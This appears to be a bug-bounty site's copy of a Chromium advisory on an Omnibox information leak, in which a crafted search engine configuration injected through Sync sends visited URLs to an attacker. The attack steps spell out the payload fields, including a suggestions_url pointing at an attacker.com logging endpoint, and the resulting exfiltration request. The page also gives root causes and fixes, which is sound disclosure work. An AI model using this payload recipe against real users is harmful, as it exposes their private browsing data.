Skip to content
Info disclosure Advisory Advanced CVE-2026-113176

Information leak in Omnibox (CVE-2026-113176)

A logic flaw in how Chrome matches wildcard paths in alternate search engine URLs allows an attacker with Sync access to inject a malicious search engine configuration. This causes Chrome to misidentify sensitive visited URLs as search result pages and send the full URL to an attacker-controlled endpoint, even when URL data collection is disabled.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 7 months

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: An attacker with Sync access can inject a malicious search engine configuration that bypasses privacy gates designed to protect visited URLs. By exploiting a logic flaw in how wildcard paths in alternate_urls are matched, the browser can be tricked into sending the full URL of visited pages to an attacker-controlled endpoint, even when URL data collection is disabled.

Affected files:

  • components/omnibox/browser/base_search_provider.cc
  • components/search_engines/template_url.cc
  • components/search_engines/template_url_service.cc
  • components/omnibox/browser/remote_suggestions_service.cc
  • components/omnibox/browser/search_provider.cc

Estimated timestamp from git blame: 2025-11-10

Vulnerability Summary

A potential vulnerability exists in Chrome's search engine synchronization and suggest request logic. An attacker with access to a user's Chrome Sync data (without a custom passphrase) can inject a crafted Default Search Engine (DSE) configuration. This configuration bypasses the IsUrlDataCollectionActive privacy gate by exploiting a logic flaw in ExtractSearchTermsFromURL, causing Chrome to misidentify sensitive URLs as search result pages. This leads to the stealthy exfiltration of full visited URLs (including paths and query strings) to an attacker-controlled host via the suggest endpoint.

Potential Attack Steps

Note: These steps are based on static analysis of the codebase and represent a theoretical attack path.

  1. Inject Malicious Payload: The attacker injects a malicious SearchEngineSpecifics payload via Chrome Sync to overwrite the user's DSE (typically Google). The payload is crafted as follows:
    • sync_guid: Set to the known GUID of the target DSE (e.g., 485bf7d3-0215-45af-87dc-538868000001 for Google).
    • prepopulate_id: 0. This is critical, as it bypasses the protection in TemplateURLService::CreateTemplateURLFromTemplateURLAndSyncData that reverts modified prepopulated engines.
    • url: https://www.google.com/search?q={searchTerms}. This ensures search::TemplateURLIsGoogle returns true, passing subsequent trust checks.
    • suggestions_url: https://attacker.com/log?q={searchTerms}&{google:currentPageUrl}. The attacker-controlled endpoint for exfiltration.
    • alternate_urls: Wildcards targeting sensitive domains, e.g., ['https://docs.google.com/{searchTerms}'].
  2. Sync Ingestion: Chrome syncs the data. Because prepopulate_id is 0, the malicious alternate_urls are accepted without validation.
  3. Victim Browsing: The victim, who has URL data collection disabled for privacy, navigates to a sensitive page on a targeted domain, e.g., https://docs.google.com/document/d/SECRET_ID/edit.
  4. Omnibox Interaction: The victim types in the Omnibox. SearchProvider::Start attempts to fetch suggestions and evaluates the privacy gate using CanSendSuggestRequestWithPageURL.
  5. Privacy Gate Bypass:
    • Because URL data collection is disabled, the code checks if the current page is a Search Results Page (SRP) using !template_url->IsSearchURL(current_page_url, search_terms_data).
    • IsSearchURL evaluates the malicious alternate_url (https://docs.google.com/{searchTerms}).
    • In TemplateURLRef::ExtractSearchTermsFromURL, the logic at line 652 ((!PathIsEqual(url) && (search_term_key_location_ != url::Parsed::PATH))) skips the strict path equality check because {searchTerms} is in the path.
    • The function incorrectly extracts the sensitive path (/document/d/SECRET_ID/edit) as a "search term" and returns true. The privacy gate is bypassed.
  6. Exfiltration:
    • SearchProvider populates search_term_args.current_page_url with the full, sensitive URL.
    • RemoteSuggestionsService::EndpointUrl calls ReplaceSearchTerms on the attacker's suggestions_url.
    • The {google:currentPageUrl} token is replaced with the escaped sensitive URL.
    • A network request is dispatched to https://attacker.com/log?q=...&url=https%3A%2F%2Fdocs.google.com%2F..., exfiltrating the data.

Root Causes

  1. Flawed Path Validation: In TemplateURLRef::ExtractSearchTermsFromURL, if the search term placeholder is in the path, the PathIsEqual check is bypassed. This allows broad wildcard matching against any path on the specified host.
  2. Sync Validation Bypass: Setting prepopulate_id to 0 in a Sync payload bypasses the reversion logic (UpdateTemplateURLDataIfPrepopulated), allowing an attacker to inject arbitrary alternate_urls and suggestions_url while spoofing a legitimate DSE.
  3. Trust Mismatch: search::TemplateURLIsGoogle validates trust based solely on the url field, ignoring the suggestions_url. This allows the suggest endpoint to receive sensitive parameters (like {google:currentPageUrl}) even if it points to a third-party host.

Suggested Fixes

  • Enforce Host Matching: Ensure that the suggestions_url host matches the url host, or restrict sensitive parameters like {google:currentPageUrl} from being sent to untrusted suggestion endpoints.
  • Fix Path Validation: Correct the logic in TemplateURLRef::ExtractSearchTermsFromURL so that path-based search terms cannot broadly match any URL on a given host, preventing the misidentification of arbitrary URLs as Search Result Pages.
  • Strengthen Sync Validation: Sanitize or drop alternate_urls received via Sync for non-prepopulated engines (prepopulate_id == 0), or ensure that critical fields cannot be mismatched to spoof known engines.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a combination of three flaws: path validation in ExtractSearchTermsFromURL skips strict equality when the search term is in the path, Sync validation can be bypassed by setting prepopulate_id to 0, and trust checks for Google search engines ignore the suggestions_url host.

Impact

The full URL of visited pages, including paths and query strings, could be stealthily exfiltrated to an attacker-controlled host, even when URL data collection is disabled.

What the attacker needed

Attacker has access to victim's Chrome Sync data; victim has URL data collection disabled; victim uses Omnibox on a targeted page

The fix

The report suggests enforcing host matching between suggestions_url and url, fixing path validation in ExtractSearchTermsFromURL, and strengthening Sync validation for alternate_urls.

How it was found

  1. Attacker injects a malicious search engine configuration via Chrome Sync, setting prepopulate_id to 0 and providing a crafted suggestions_url and alternate_urls.
  2. Chrome syncs the data, and because prepopulate_id is 0, the malicious alternate_urls are accepted without validation.
  3. Victim, who has URL data collection disabled, navigates to a sensitive page on a targeted domain.
  4. Victim types in the Omnibox, triggering a suggest request that evaluates the privacy gate.
  5. The privacy gate is bypassed because the malicious alternate_url causes the sensitive URL to be misidentified as a search results page.
  6. The full sensitive URL is sent to the attacker-controlled endpoint via the suggest request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Chrome lets you sync your settings, including your default search engine, across devices. If an attacker can change that synced data, they could add a fake search engine that secretly sends the addresses of pages you visit to their own server. This report shows how a mistake in checking those addresses let that happen even when you had turned off sharing of visited URLs.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.